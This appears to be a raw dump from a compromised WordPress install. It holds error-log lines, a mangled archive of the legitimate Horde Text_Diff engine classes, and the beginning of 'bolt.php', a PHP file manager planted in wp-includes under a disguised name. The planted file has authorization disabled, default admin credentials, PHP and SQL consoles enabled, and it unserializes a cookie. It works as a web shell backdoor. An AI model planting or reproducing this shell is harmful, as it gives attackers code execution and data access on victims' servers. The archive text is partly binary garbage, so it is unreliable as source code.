[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
PK     |\p`\~  \~  
  Engine.zipnu [        PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }    PK     |\o< <  <   bolt.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
